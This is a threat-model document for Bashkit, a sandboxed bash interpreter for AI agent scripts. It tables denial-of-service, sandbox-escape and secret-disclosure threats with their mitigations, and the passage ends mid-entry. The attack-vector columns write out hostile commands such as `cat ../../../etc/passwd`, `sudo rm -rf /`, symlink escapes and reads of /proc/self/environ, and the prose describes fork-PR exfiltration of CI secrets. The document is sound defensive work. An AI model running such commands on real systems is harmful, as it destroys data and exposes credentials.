Bashkit Threat Model

July 9, 2026 · View on GitHub

Status

Living document

Overview

Bashkit is a virtual bash interpreter for multi-tenant environments, primarily designed for AI agent script execution. This document analyzes security threats and mitigations.

Threat Actors: Malicious or buggy scripts from untrusted sources (AI agents, users) Assets: Host CPU, memory, filesystem, network, secrets, other tenants


Threat ID Management

This section documents the process for managing stable threat IDs.

ID Scheme

All threats use a stable ID format: TM-<CATEGORY>-<NUMBER>

PrefixCategoryDescription
TM-DOSDenial of ServiceResource exhaustion, infinite loops, CPU/memory attacks
TM-ESCSandbox EscapeFilesystem escape, process escape, privilege escalation
TM-INFInformation DisclosureSecrets access, host info leakage, data exfiltration
TM-INJInjectionCommand injection, path injection
TM-NETNetwork SecurityDNS manipulation, HTTP attacks, network bypass
TM-AVAILAvailabilityFail-open design choices that keep requests flowing when optional auth/signing steps fail
TM-ISOIsolationMulti-tenant cross-access
TM-INTInternal ErrorsPanic recovery, error message safety, unexpected failures
TM-GITGit SecurityRepository access, identity leak, remote operations
TM-LOGLogging SecuritySensitive data in logs, log injection, log volume attacks
TM-CRYCryptographic Material SecurityPrivate key handling, zeroization, key lifetime minimization
TM-PYPython SecurityEmbedded Python sandbox escape, VFS isolation, resource limits
TM-TSTypeScript SecurityEmbedded TypeScript sandbox escape, VFS isolation, resource limits
TM-SQLSQLite SecurityEmbedded SQLite sandbox escape, VFS isolation, resource limits
TM-SSHSSH SecurityHost allowlist, credential handling, session limits, host key verification
TM-FSFilesystem Mount SecurityRealFs mount defaults, sensitive host path exposure
TM-SNAPSnapshot SecuritySnapshot integrity, digest forgery
TM-UNIUnicode SecurityByte-boundary panics, invisible chars, homoglyphs, normalization

Adding New Threats

  1. Assign ID: Use next available number in category (e.g., TM-DOS-010)
  2. Never reuse IDs: Deprecated threats keep their ID with [DEPRECATED] prefix
  3. Update public doc: Add entry to crates/bashkit/docs/threat-model.md
  4. Add code comment: Reference threat ID at mitigation point (see format below)
  5. Add test: Create test in tests/threat_model_tests.rs referencing ID

Code Comment Format

// THREAT[TM-XXX-NNN]: Brief description of the threat being mitigated
// Mitigation: What this code does to prevent the attack

Public Documentation

The public-facing threat model lives in crates/bashkit/docs/threat-model.md and is embedded in rustdoc. It contains:

  • High-level threat categories
  • Attack vectors and mitigations
  • Links to relevant code and tests
  • Caller responsibilities

Trust Model

┌─────────────────────────────────────────────────────────────┐
│                      UNTRUSTED                               │
│  ┌─────────────────────────────────────────────────────┐    │
│  │              Script Input (bash code)                │    │
│  └─────────────────────────────────────────────────────┘    │
│                           │                                  │
│                           ▼                                  │
│  ┌─────────────────────────────────────────────────────┐    │
│  │     TRUST BOUNDARY: Bash::exec(&str)                │    │
│  └─────────────────────────────────────────────────────┘    │
│                           │                                  │
└───────────────────────────┼──────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│                      VIRTUAL                                  │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐    │
│  │  Parser  │→ │Interpreter│→ │Virtual FS│  │ Network  │    │
│  └──────────┘  └──────────┘  └──────────┘  └──────────┘    │
│                                                              │
│  Controls: Resource Limits, FS Isolation, Network Allowlist │
└─────────────────────────────────────────────────────────────┘

Threat Analysis by Category

1. Resource Exhaustion (DoS)

1.1 Memory Exhaustion

IDThreatAttack VectorMitigationStatus
TM-DOS-001Large script inputBash::exec(huge_string)max_input_bytes limit (10MB)MITIGATED
TM-DOS-002Output floodingyes | head -n 1000000000Command limit stops loopMitigated
TM-DOS-003Variable explosionx=$(cat /dev/urandom)/dev/urandom returns bounded 8KBMitigated
TM-DOS-004Array growtharr+=(element) in loopCommand limitMitigated

Current Risk: LOW. Implementation: ExecutionLimits in limits.rsmax_input_bytes 10MB (TM-DOS-001), max_commands 10K per exec() (TM-DOS-002, TM-DOS-004).

Scope: Limits are enforced per exec() call. Counters reset at the start of each invocation via ExecutionCounters::reset_for_execution(), so a prior script hitting the limit does not permanently poison the session. The timeout (30s) provides the session-level backstop.

1.5 Filesystem Exhaustion

IDThreatAttack VectorMitigationStatus
TM-DOS-005Large file creationdd if=/dev/zero bs=1G count=100; truncate -s 4G /tmp/pmax_file_size limit; builtins that resize VFS file buffers validate target lengths before allocationMITIGATED
TM-DOS-006Many small filesfor i in $(seq 1 1000000); do touch $i; donemax_file_count limitMITIGATED
TM-DOS-007Zip bombgunzip bomb.gz (small file → huge output)Decompression limitMITIGATED
TM-DOS-008Tar bombtar -xf bomb.tar (many files / large files)FS limitsMITIGATED
TM-DOS-009Recursive copycp -r /tmp /tmp/copyFS limitsMITIGATED
TM-DOS-010Append floodwhile true; do echo x >> file; doneFS limits + loop limitMITIGATED
TM-DOS-034TOCTOU in append_fileConcurrent appends between read-lock and write-lock bypass size checksSingle write lock for entire read-check-writeFIXED
TM-DOS-035OverlayFs limit check upper-onlycheck_write_limits() ignores lower layer usage, allowing combined usage to exceed limitsOverlayFs::check_write_limits now uses compute_usage() (combined upper + lower minus overrides); upper layer is type-fixed to InMemoryFs so its own limits are bypassable but irrelevantMITIGATED
TM-DOS-036OverlayFs usage double-countcompute_usage() double-counts overwritten/whited-out filescompute_usage() subtracts shadowed lower files when the upper layer carries an override or whiteoutMITIGATED
TM-DOS-037OverlayFs chmod CoW bypasschmod copy-on-write writes to unlimited upper layer, bypassing overlay limitschmod's file/directory CoW path checks check_write_limits() and check_dir_count() before promoting to upperMITIGATED
TM-DOS-038OverlayFs incomplete recursive whiteoutrm -r /dir only whiteouts directory, not children; lower layer files remain visibleOverlayFs::remove(recursive=true) walks the lower layer and writes a whiteout per surviving descendant; is_whiteout() also checks ancestor whiteoutsMITIGATED
TM-DOS-039Missing validate_path in VFS methodsremove, stat, read_dir, copy, rename, symlink, chmod skip validate_path()All FileSystem methods on InMemoryFs and OverlayFs call validate_path(); MountableFs validates via the root limits before delegating (TM-DOS-046)MITIGATED
TM-DOS-040Integer truncation on 32-bitu64 as usize casts in network/Python extension silently truncate on 32-bit, bypassing size checksAll u64-to-usize size-check casts in network/client.rs (Content-Length checks) and bashkit-python/src/lib.rs (limits propagation) use usize::try_from(...).unwrap_or(usize::MAX) so over-usize values fail safe instead of wrappingMITIGATED

Scope of the FS quotas above (TM-DOS-005/006/010, max_file_size / max_file_count / max_total_bytes): these are enforced by the in-memory and overlay backends. They do not apply to a RealFs mount in RealFsMode::ReadWriteRealFs::limits() returns unlimited() and writes go straight to the host with no byte/count quota. This is by design (--mount-rw is sandbox-breaking, see TM-ESC-030), but it means a script with a writable real-FS mount can exhaust host disk/inodes. Use --mount-ro for untrusted scripts.

TM-DOS-034: Fixed. InMemoryFs::append_file() now uses a single write lock for the entire read-check-write operation, preventing TOCTOU races. See fs/memory.rs:940-942.

TM-DOS-035 (mitigated): OverlayFs::check_write_limits now sources its accounting from compute_usage(), which sums combined upper + lower bytes minus overrides. Regression tests: tests/threat_model_tests.rs::overlay_limit_accounting::tm_dos_035_combined_byte_limit and …tm_dos_035_combined_file_count_limit.

TM-DOS-036 (mitigated): compute_usage() deducts a lower file's bytes when the upper carries an override (overwrite) or whiteout (delete). Regression tests: overlay_limit_accounting::tm_dos_036_no_double_count_on_override and …tm_dos_036_whiteout_deducts_usage.

TM-DOS-037 (mitigated): The CoW path on chmod (file or directory) calls check_write_limits() / check_dir_count() before promoting the entry to self.upper, so chmod cannot smuggle bytes or directory entries past the overlay's combined limit. Regression tests: overlay_limit_accounting::tm_dos_037_chmod_file_cow_checks_limits, …tm_dos_037_chmod_dir_cow_checks_limits, …tm_dos_037_mkdir_checks_dir_limits, …tm_dos_037_recursive_mkdir_counts_all_new_dirs.

TM-DOS-038 (mitigated): OverlayFs::remove(recursive=true) walks the lower-layer subtree and emits a whiteout for every surviving descendant; is_whiteout() additionally treats any descendant of a whited-out ancestor as hidden. Regression tests: overlay_limit_accounting::tm_dos_038_recursive_delete_hides_all_children and …tm_dos_038_recursive_delete_deducts_all_bytes.

TM-DOS-039 (mitigated): Every FileSystem method on InMemoryFs and OverlayFs calls validate_path(); MountableFs validates each path against the root layer's limits before delegation (see TM-DOS-046). Regression tests: path_validation_security module (8 tests) plus the overlay/mountable tests in security_audit_pocs.

TM-DOS-040: network/client.rs:236,419 and bashkit-python/src/lib.rs:197,200 cast u64 to usize. On 32-bit, Content-Length: 5GB truncates to ~1GB. Fix: use usize::try_from().

Current Risk: MEDIUM - OverlayFs limit accounting has multiple gaps (TM-DOS-034 to TM-DOS-039)

Implementation: FsLimits in fs/limits.rsmax_total_bytes 100MB (TM-DOS-005/008/009), max_file_size 10MB (TM-DOS-005/007), max_file_count 10K (TM-DOS-006/008).

Zip Bomb Protection (TM-DOS-007): decompression checks output size against max_file_size; archive extraction checks total against max_total_bytes and aborts early.

Monitoring: du and df builtins allow scripts to check usage

1.6 Path and Name Attacks

IDThreatAttack VectorMitigationStatus
TM-DOS-011Symlink loopsln -s /a /b; ln -s /b /aNo symlink followingMITIGATED
TM-DOS-012Deep directory nestingmkdir -p a/b/c/.../z (1000 levels)max_path_depth limit (100)MITIGATED
TM-DOS-013Long filenamesCreate 10KB filenamemax_filename_length (255) + max_path_length (4096)MITIGATED
TM-DOS-014Many directory entriesCreate 1M files in one dirmax_file_count limitMITIGATED
TM-DOS-015Unicode path attacksHomoglyph/RTL override charsvalidate_path() rejects control chars and bidi overridesMITIGATED

Current Risk: LOW. Implementation: FsLimits in fs/limits.rsmax_path_depth 100 (TM-DOS-012), max_filename_length 255 + max_path_length 4096 (TM-DOS-013); validate_path() rejects control chars and bidi overrides (TM-DOS-015).

Note: Symlink loops (TM-DOS-011) are mitigated because InMemoryFs stores symlinks but doesn't follow them during path resolution - symlink targets are only returned by read_link().

1.2 Infinite Loops

IDThreatAttack VectorMitigationStatus
TM-DOS-016While truewhile true; do :; doneLoop limit (10K)MITIGATED
TM-DOS-017For loopfor i in $(seq 1 inf); doLoop limitMITIGATED
TM-DOS-018Nested loopsfor i in ...; do for j in ...; done; donePer-loop + max_total_loop_iterations (1M)MITIGATED
TM-DOS-019Command loopecho 1; echo 2; ... x 100KCommand limit (10K)MITIGATED

Current Risk: LOW. Implementation: limits.rsmax_loop_iterations 10K per loop (TM-DOS-016/017), max_total_loop_iterations 1M global (TM-DOS-018), max_commands 10K per exec() (TM-DOS-019).

All counters (commands, loop iterations, total loop iterations, function depth) reset at the start of each exec() call. This ensures limits protect against runaway scripts without permanently breaking the session.

1.3 Stack Overflow (Recursion)

IDThreatAttack VectorMitigationStatus
TM-DOS-020Function recursionf() { f; }; fDepth limit (100)MITIGATED
TM-DOS-021Command sub nesting$($($($())))Child parsers inherit remaining depth budget + fuel from parentMITIGATED
TM-DOS-022Parser recursionDeeply nested (((())))max_ast_depth limit (100) + HARD_MAX_AST_DEPTH cap (100)MITIGATED
TM-DOS-026Arithmetic recursion and expansion amplification$((((...)))), a=a+a; $((a)), i=arr[i]; $((arr[i]))MAX_ARITHMETIC_DEPTH limit (50), shared expansion fuel, cycle detection, expanded-size capMITIGATED
TM-DOS-064Heredoc suffix re-injection CPU amplificationMany : <<E && : <<E ... heredocs on one logical line repeatedly copy command-line suffixesread_heredoc_with_strip_metered reports re-injected suffix length; parser charges it to max_parser_operations fuelMITIGATED

Current Risk: LOW. Implementation: max_function_depth 100 (TM-DOS-020/021) and max_ast_depth 100 (TM-DOS-022) in limits.rs; child parsers in command/process substitution inherit remaining depth budget + fuel from parent (TM-DOS-021, parser/mod.rs); arithmetic evaluator caps recursion at MAX_ARITHMETIC_DEPTH 50, shares expansion fuel, rejects variable cycles, and caps generated expression bytes (TM-DOS-026, interpreter/mod.rs MAX_ARITHMETIC_DEPTH / MAX_ARITHMETIC_EXPANSION_*); heredoc rest-of-line re-injection charged to parser fuel (TM-DOS-064).

History (TM-DOS-021): Previously marked MITIGATED but child parsers created via Parser::new() used default limits, ignoring parent configuration. Fixed to propagate remaining_depth and fuel from parent parser.

1.4 CPU Exhaustion

IDThreatAttack VectorMitigationStatus
TM-DOS-023Long computationComplex awk/sed regexTimeout (30s)MITIGATED
TM-DOS-024Parser hangMalformed inputparser_timeout (5s) + max_parser_operationsMITIGATED
TM-DOS-025Regex backtrackgrep "a](*b)*c" file; grep -P '(a+)+$' fileDefault regex engine is linear-time; grep -P/sed fancy-regex paths capped by FANCY_BACKTRACK_LIMIT (1M steps) — exceeding it yields "no match", not a hangMITIGATED
TM-DOS-027Builtin parser recursionDeeply nested awk/jq expressionsMAX_AWK_PARSER_DEPTH (100) + MAX_JQ_JSON_DEPTH (100)MITIGATED
TM-DOS-028Diff algorithm DoSdiff on two large unrelated filesLCS matrix capped at 10M cells; falls back to simple line-by-line outputMITIGATED
TM-DOS-029Arithmetic overflow/panic$(( 2 ** -1 )), $(( 1 << 64 )), i64::MIN / -1wrapping_* / saturating ops; wrapping_neg for i64::MIN / -1 and unary negate; <</>> clamp shift amountMITIGATED
TM-DOS-030Parser limit bypass via eval/source/trapeval, source, trap handlers now use Parser::with_limits()FIXED (2026-03 audit verified)
TM-DOS-031Glob/ExtGlob exponential blowup+(a|aa) against long string causes O(n!) recursion in glob_match_impl; a run of plain * (consecutive ****… or separated *a*b*…) previously recursed per value position and blew up (a 33-* pattern timed out glob_fuzz)Plain * now matches via a single backtracking restore point (the classic linear wildcard algorithm) — worst case O(value·pattern), no per-position recursion; glob_match_impl still carries a recursion-depth cap for extglob nesting and bails on excessive depth; aliases that expand to huge brace ranges go through the same parser-budget check (interpreter/mod.rs:4216)MITIGATED
TM-DOS-035DEBUG trap recursive amplificationtrap 'a=1;b=2;...' DEBUG amplifies N commands to N*MSuppress DEBUG trap inside trap handlers (in_trap guard)FIXED
TM-DOS-032Tokio runtime exhaustion (Python)Rapid execute_sync() calls each create new tokio runtime, exhausting OS threadsPyBash and BashTool create one Arc<Runtime> per instance in __new__ via make_runtime() and reuse it for every execute_sync call; no per-call runtime constructionMITIGATED
TM-DOS-033AWK unbounded loopsBEGIN { while(1){} } has no iteration limit in AWK interpreterTimeout (30s) backstopPARTIAL
TM-DOS-051YAML parser unbounded recursionyaml get key on deeply nested YAML input causes stack overflow in parse_yaml_block/parse_yaml_map/parse_yaml_listparse_yaml_block carries a depth: usize parameter; depth > MAX_YAML_DEPTH = 100 returns an ERROR: maximum nesting depth exceeded value instead of recursingMITIGATED
TM-DOS-052Template engine unbounded recursion{{#if}} and {{#each}} blocks call render_template recursively with no depth limitrender_template_inner checks depth > MAX_TEMPLATE_DEPTH = 100 and returns a template: maximum nesting depth exceeded errorMITIGATED
TM-DOS-053Template {{#each}} output explosion{{#each arr}} on large JSON array produces O(n * body) outputBounded by JSON data file size (max_file_size)MITIGATED
TM-DOS-054glob --files inherits ExtGlob blowup`glob --files "+(aaa)" /dirdispatches toglob_match` with same exponential cost as TM-DOS-031Same as TM-DOS-031 — glob_match_impl recursion-depth cap covers glob --files callers
TM-DOS-055split file count amplificationsplit -l 1 bigfile creates one output file per line; bounded by max_file_count FS limitFS limits (TM-DOS-006)MITIGATED
TM-DOS-056source self-recursion stack overflowScript that sources itself recurses unboundedlysource shares the function call-depth counter; self-/mutual recursion hits max_function_depth with a clean error, not SIGABRTMITIGATED
TM-DOS-057sleep bypasses execution timeoutsleep, (sleep N), echo x | sleep N, sleep N & wait, timeout N sleep N all ignore ExecutionLimits::timeoutBash::exec_impl wraps execution in tokio::time::timeout(limits.timeout, …) on non-WASM targets; WASM currently executes without that global timeout wrapper (#[cfg(target_family = "wasm")])PARTIAL
TM-DOS-058Single-builtin unbounded outputseq 1 1000000 produces 1M lines despite command limit; single builtin call generates unbounded output (see also #648)ExecutionLimits::max_stdout_bytes and max_stderr_bytes truncate captured output (defaults set in ExecutionLimits::new()); see #648MITIGATED
TM-DOS-059Parameter expansion replacement bomb${x//a/$(printf 'b%.0s' {1..1000})} on large `x$ \text{amplifies} \text{output} \text{multiplicatively} (10\text{K} \times 1\text{K} = 10\text{MB})$max_total_variable_bytes+max_stdout_bytes`MITIGATED
TM-DOS-060Sparse array huge-index allocationarr[999999999]=x could allocate ~1B empty slots if arrays are Vec-backed; negative indices could cause OOBHashMap-based arrays; max_array_entries caps total entriesMITIGATED
TM-DOS-061Snapshot function restore bypasses parser/function limitsCrafted snapshot restores functions exceeding the tenant's parser depth or function memory budgetRestored function source re-parsed with current ExecutionLimits; function memory budget re-applied before insertionMITIGATED
TM-DOS-062jq file binding amplificationRepeated --rawfile / --slurpfile bindings to one max-sized VFS file multiply retained jq globals and $ARGS.named values without consuming more VFS quotaMAX_FILE_VAR_REQUESTS caps binding count; MAX_FILE_VAR_BYTES counts cumulative file bytes per binding before retaining globalsMITIGATED
TM-DOS-063Persistent fd exhaustionexec N>/tmp/f across many N values grows exec_fd_table/coproc fd buffers for the sessionExecutionLimits::max_file_descriptors (default 1024) caps persistent custom descriptors; reused fds and standard 0/1/2 don't countMITIGATED

TM-DOS-051 (mitigated): see table; catch_unwind (TM-INT-001) remains a backstop, no longer the primary defence. Regression tests: tests/threat_model_tests.rs::yaml_template_depth::tm_dos_051_*.

TM-DOS-052 (mitigated): see table. Regression test: tests/threat_model_tests.rs::yaml_template_depth::tm_dos_052_template_if_depth_bomb.

Current Risk: LOW — TM-DOS-029, TM-DOS-030, and TM-DOS-031 are all mitigated (see the status table above). Their original write-ups are kept below for history.

TM-DOS-029 (mitigated): exponentiation cast i64 to u32 (wrapping negatives), i64::pow() panicked/hung on large exponents, shifts panicked when right >= 64 or < 0, and i64::MIN / -1 panicked. Resolved with wrapping_* ops, masked shift amounts, clamped exponent (interpreter/mod.rs); same i64::MIN / -1 guard applied in expr (checked_div/checked_rem).

TM-DOS-030 (fixed): eval, source, trap handlers, and alias expansion previously used Parser::new(), ignoring configured max_ast_depth / max_parser_operations; now all use Parser::with_limits(). Separately, eval and alias expansion now run their bodies via execute_script_body(.., run_exit_trap=false) (like source) so they do not fire the EXIT trap — previously trap 'eval :' EXIT could recurse one command per level until the budget aborted.

TM-DOS-031 (mitigated): see table — linear backtracking for plain *, plus a recursion-depth cap for extglob nesting in glob_match_impl (interpreter/glob.rs).

Implementation: timeout 30s + parser_timeout 5s + max_parser_operations 100K in limits.rs (TM-DOS-023/024); MAX_AWK_PARSER_DEPTH 100 (builtins/awk.rs) and MAX_JQ_JSON_DEPTH 100 (builtins/jq/) for TM-DOS-027; MAX_LCS_CELLS 10M (builtins/diff.rs) for TM-DOS-028.


2. Sandbox Escape

2.1 Filesystem Escape

IDThreatAttack VectorMitigationStatus
TM-ESC-001Path traversalcat ../../../etc/passwdPath normalizationMITIGATED
TM-ESC-002Symlink escapeln -s /etc/passwd /tmp/xSymlinks not followedMITIGATED
TM-ESC-003Real FS accessDirect syscallsNo real FS by default; RealFs canonicalizes existing paths and nearest existing ancestors before attaching missing suffixesMITIGATED
TM-ESC-004Mount escapeMount real pathsMountableFs controlledMITIGATED
TM-ESC-016Symlink escape via overlay renameln -s /etc/passwd x; mv x yOverlay rename/copy preserve symlinks as symlinksFIXED
TM-FS-013Permissive RealFs mount defaultmount_real_readonly_at("/", …) exposes whole host without allowed_mount_pathsAllowlist-first: /, /etc, /root, /Users, /home, /dev, /proc, /sys, /run, /var/run, /boot, /private, and any path component matching .ssh, .aws, .kube, .docker, .gnupg, .gcloud are refused unless explicitly allowlistedMITIGATED

Current Risk: MEDIUM - Two open escape vectors (TM-ESC-012, TM-ESC-013) need remediation

Implementation: fs/memory.rs - normalize_path() function

  • Collapses .. components at path boundaries
  • Ensures all paths stay within virtual root

| TM-ESC-012 | VFS limit bypass via public API | add_file() / restore() skip validate_path() and check_write_limits() | InMemoryFs::add_file and InMemoryFs::restore (fs/memory.rs:704,832) now run validate_path and check_write_limits like every other write path | MITIGATED | | TM-ESC-013 | OverlayFs upper() exposes unlimited FS | OverlayFs::upper() returns InMemoryFs with FsLimits::unlimited() | OverlayFs::with_limits constructs the upper layer via InMemoryFs::with_limits(limits.clone()), mirroring the overlay's limits onto upper. add_file() / restore() on that upper now run validate_path + check_write_limits (TM-ESC-012), so direct upper() writes are bounded by the same quota | MITIGATED | | TM-ESC-014 | BashTool custom builtins lost after first call | std::mem::take empties builtins on first execute(), removing security wrappers | Arc-cloned builtins survive across calls | FIXED |

TM-ESC-012 / TM-ESC-013: see table rows — both originally allowed any code with InMemoryFs access (or overlay.upper()) to bypass all limits; now every public write path runs validate_path + check_write_limits and the upper layer mirrors the overlay's limits.

TM-ESC-014: Fixed — BashTool::create_bash() clones Arc-wrapped builtins instead of std::mem::take, so custom builtins persist across calls. See tool.rs:659-662.

TM-ESC-016: Fixed. OverlayFs::rename and copy previously used read_file() + write_file() which silently failed on symlinks (since read_file intentionally doesn't follow symlinks per TM-ESC-002). A symlink could not be renamed at all, but the underlying design gap meant any future relaxation of symlink-following policy could expose the target. Fix: rename/copy now detect symlinks via stat() and use read_link() + symlink() to preserve them. Same fix applied to MountableFs cross-mount operations. See fs/overlay.rs and fs/mountable.rs.

2.2 Process Escape

IDThreatAttack VectorMitigationStatus
TM-ESC-005Shell escapeexec /bin/bashexec runs command within VFS sandbox then exits (no real process replacement); host binaries unreachableMITIGATED
TM-ESC-006Subprocess./maliciousScript execution runs within VFS sandbox (no host shell)MITIGATED
TM-ESC-007Background procmalicious &Background not implementedMITIGATED
TM-ESC-008eval injectioneval "$user_input"eval runs in sandbox (builtins only)MITIGATED
TM-ESC-015bash/sh escapebash -c "malicious"Sandboxed re-invocation (no external bash)MITIGATED
TM-ESC-030mount-rw exposure to untrusted automationRunning untrusted scripts with --mount-rw /CLI docs mark --mount-rw as sandbox-breaking; recommend --mount-ro when host access is neededMITIGATED

Current Risk: LOW - No external process execution capability

Implementation: Unimplemented commands return bash-compatible error:

  • Exit code: 127
  • Stderr: bash: <cmd>: command not found
  • Script continues execution (unless set -e)

bash/sh Re-invocation (TM-ESC-015): bash and sh re-invoke the virtual interpreter — never an external process. bash -c "cmd" / bash script.sh run in-process with shared resource limits and VFS; bash --version returns Bashkit version, never real bash info.

Script Execution by Path (TM-ESC-006): scripts run by absolute/relative path or $PATH search stay within the virtual interpreter — no OS subprocess. File must exist in VFS with execute permission (mode & 0o111); exit 127 missing / 126 non-executable; shebang stripped; $0/$1..N via call frame; resource limits and VFS constraints apply.

2.3 Privilege Escalation

IDThreatAttack VectorMitigationStatus
TM-ESC-009sudo/susudo rm -rf /Not implementedMITIGATED
TM-ESC-010setuidPermission changesVirtual FS, no real permsMITIGATED
TM-ESC-011Capability abuseLinux capabilitiesRuns in-processMITIGATED

Current Risk: NONE - No privilege operations available


3. Information Disclosure

3.1 Secrets Access

IDThreatAttack VectorMitigationStatus
TM-INF-001Env var leakecho $SECRET_KEYEnv vars caller-controlledCALLER RISK
TM-INF-002File secretscat /secrets/keyVirtual FS isolationMITIGATED
TM-INF-003Proc secrets/proc/self/environNo /proc filesystemMITIGATED
TM-INF-004Memory dumpCore dumpsNo crash dumpsMITIGATED

| TM-INF-013 | Host env leak via jq | jq now uses custom $__bashkit_env__ variable, not std::env | — | FIXED (2026-03 audit verified) | | TM-INF-014 | Real PID leak via | `now returns virtual PID (1) instead of real process ID | — | **FIXED** (2026-03 audit verified) | | TM-INF-015 | URL credentials in errors | Allowlist "blocked" error echoes full URL including credentials |network/allowlist.rs::redact_urlstrips userinfo from the URL before formatting theURL not in allowlist: …error; covered bytest_redact_url_strips_credentialsandtest_blocked_url_with_credentials_is_redacted| **MITIGATED** | | TM-INF-016 | Internal state in error messages |std::io::Error, reqwest errors, Debug-formatted errors leak host paths/IPs/TLS info | sanitize_error_message()strips paths/IPs/TLS;Error::network_sanitized()wraps reqwest | **FIXED** | | TM-INF-019 |envsubstexposes all env vars |envsubstsubstitutesVAR/VAR`/`{VAR}fromctx.env— scripts can probe any env var | Same as TM-INF-001 (caller controls env) | **CALLER RISK** | | TM-INF-020 |templateexposes env vars via{{var}}| Template builtin looks up variables from env as fallback after shell vars and JSON data | Same as TM-INF-001 (caller controls env) | **CALLER RISK** | | TM-INF-021 | Stack backtrace information disclosure | Panics leak internal source paths, dependency versions, and function names via stderr | Custom panic hook suppresses backtraces in CLI | **MITIGATED** | | TM-INF-022 | Library Debug shapes leak via stderr | Builtins wrapping external libs (jaq, regex, serde_json, semver, chrono, …) formatted errors with{:?}, dumping internal struct shapes (e.g. the jaq Filestruct incl. spliced compat-defs source) into agent-visible stderr | Three-layer enforcement, all run bycargo test: (1) static — builtins::tests::no_debug_fmt_in_builtin_sourceforbids{:?}/{:#?}/{name:?}in everycrates/bashkit/src/builtins/.rs(per-line opt-out:// debug-ok: ); (2) dynamic per-tool — each tool's mod testscallsbashkit::testing::assert_no_leakwith malformed inputs; (3) fuzz — every cargo-fuzz target plus 5 proptest cases callbashkit::testing::assert_fuzz_invariantsand check the same invariants on stderr/stdout | **FIXED** | | TM-INF-023 | jqhalt/halt_errorterminate the host process | jaq-std 3.0'shalt(N)native callsstd::process::exit(); untrusted jq filters could exit the entire embedding process, escaping the ExecResultsandbox boundary (process-wide DoS) | Strip the upstreamhaltnative fromjaq_std::funs::()and chain in a safe replacement returningError::str("halt is disabled in the bashkit sandbox"); wrapper defs (halt, halt_error) still resolve, so callers see a normal jq runtime error (exit 5). Regression tests in builtins::jq::tests: halt_does_not_terminate_host_process, halt_with_arg_does_not_terminate_host_process, halt_error_does_not_terminate_host_process| **FIXED** | | TM-INF-024 | Host env side-channel via clapArg::env(...)| uutils-ported clap builtins (currentlyls: .env("TABSIZE")/.env("TIME_STYLE")) resolved defaults from std::env, not ctx.env— (1) presence-probe of host env vars vialsbehaviour; (2) a host-setTIME_STYLEbecame a value source for an unimplemented option, tripping the unsupported-option gate on every plainlsfor unrelated tenants | Four-layer fix: (1) codegen —bashkit-coreutils-portstrips runtime.env(...)calls and emits a sidecar_ENV_DEFAULTS: &[EnvDefault]table per stripped annotation; (2) virtual-env shim —crate::builtins::clap_env::apply_env_defaultsrewrites argv fromctx.env(neverstd::env) before try_get_matches_from, emulating clap's "argv > env > default" precedence; (3) static guards — no_clap_env_in_generated_parsersforbids runtime.env(ingenerated/.rs; every_generated_parser_emits_env_defaults_tableenforces the sidecar on every util; (4) defence-in-depth — workspaceclapdrops theenvcargo feature, so a re-introduced.env(...)fails to compile. Coverage:ls_ignores_host_time_style_and_tabsize(host env ignored) andls_honors_virtual_env_time_style(virtual env honoured) | **FIXED** | | TM-INF-025 | Untrusted generated Rust runs in drift CI with repository write token | The coreutils argument-drift workflow regenerates Rust from third-partyuutils/coreutils uu_app()then builds/tests bashkit; if the generator preserved arbitrary upstream statements and the job heldcontents: write/pull-requests: write, malicious upstream code could execute with repository write impact | Two-layer fix: (1) bashkit-coreutils-portvalidates args-modeuu_app()before emission — accepts only a single tail clapCommandbuilder chain, orlet = Command::new(...); .(...)with the tail chained off the let-bound ident; both shapes pass a disallowed-method/closure/macro/block visitor. Regression testsrejects_executable_statements_in_uu_app, rejects_let_with_non_command_initializer, rejects_tail_not_chained_off_let_binding, rejects_three_statement_body. (2) .github/workflows/coreutils-args-drift.ymlseparates privilege: regeneration/build/test runs withcontents: read+persist-credentials: false; the open-prjob has write permission but never builds or executes generated Rust, only commits the tested artifact | **FIXED** | | TM-INF-026 | Fork-PR secret exfiltration via approved CI run | GitHub's first-time-contributor gate runs the workflow **from the PR head**, and approved contributors auto-run thereafter. Theexamplesjob inci.ymlsetDOPPLER_TOKENat job level andANTHROPIC_API_KEYat step level, so a fork PR could edit anyexamples/*.rs/build.rs/script the job runs and exfiltrate. DOPPLER_TOKENis the master key — it fetches every other secret in the Doppler config, so one leak compromises all. Everydoppler run --also injected the entire config into the step env | Three-layer fix in.github/workflows/ci.yml, js.yml, publish-js.yml: (1) fork guard — secret-using steps gate on github.event.pull_request.head.repo.fork != true; (2) step-scoped secrets — no job-level env: DOPPLER_TOKEN, each step sets only what it needs; (3) least-privilege injection — every doppler runuses--only-secrets . Also migrated ANTHROPIC_API_KEYonto Doppler soDOPPLER_TOKENis the only secret CI needs from GitHub | **FIXED** | | TM-INF-027 | Package publish from unverified release refs | A user with Actions/write privileges could dispatch release/publish workflows from a branch or unprotectedvX.Y.Ztag;release.ymldispatches downstream workflows with--ref "$TAG", and publish-js.ymltreated stablepackage.jsonsemver aslatesteven on non-tag refs — an attacker-controlled ref could source official crates.io/npm/PyPI/CLI/Homebrew artifacts | Release dispatches require full refrefs/heads/main; release.ymlverifies the source is reachable fromorigin/mainand the created tag resolves to the currentGITHUB_SHAbefore dispatching;publish.ymlrejects manual runs unlessGITHUB_REFis a stable release tag matchingCargo.tomlon a main-reachable commit;publish-js.ymlrequires main-reachable commit, assigns npmlatestonly for stablevX.Y.Ztag refs matchingpackage.json; publish-python.ymlapplies the same main-reachable stable-tag + Cargo version gates;cli-binaries.ymlaccepts only stablevX.Y.Zinputs and verifies workflow ref = tag =Cargo.tomlversion on a main-reachable commit before building/uploading or updating Homebrew | **FIXED** | | TM-INF-028 | JSonOutputcallback errors expose host stack traces | When a caller-suppliedonOutputcallback throws,toNativeOnOutputinwrapper.tspropagatederror.stack(host file paths, internal function names) across the sandbox boundary; script output is attacker-controlled and drives the callback, so an attacker could trigger a throw and read host deployment paths | Propagateerror.messageonly; regex-strip absolute-path andfile://segments (guards attacker-controlled message injection); cap at 256 chars. Regression testonOutput error does not leak stack trace or host pathsintest/streaming-output.spec.ts; mitigation annotated // THREAT[TM-INF-028]inwrapper.ts| **FIXED** | | TM-INF-030 | Raw callback errors leak host internals through ScriptedTool/ToolImpl | Tool callbacks may throw errors containing API keys, connection strings, or stack traces; output is attacker-influenced and agent-visible |sanitize_errorsdefaults to true on bothScriptedToolandToolImpl (which can be registered directly as a Builtin); generic message replaces raw error (scripted_tool/mod.rs, tool_def.rs) | **MITIGATED** | | TM-INF-031 | final_envcapture bypasses output filtering and size caps | Whencapture_final_envis enabled, env contents are a 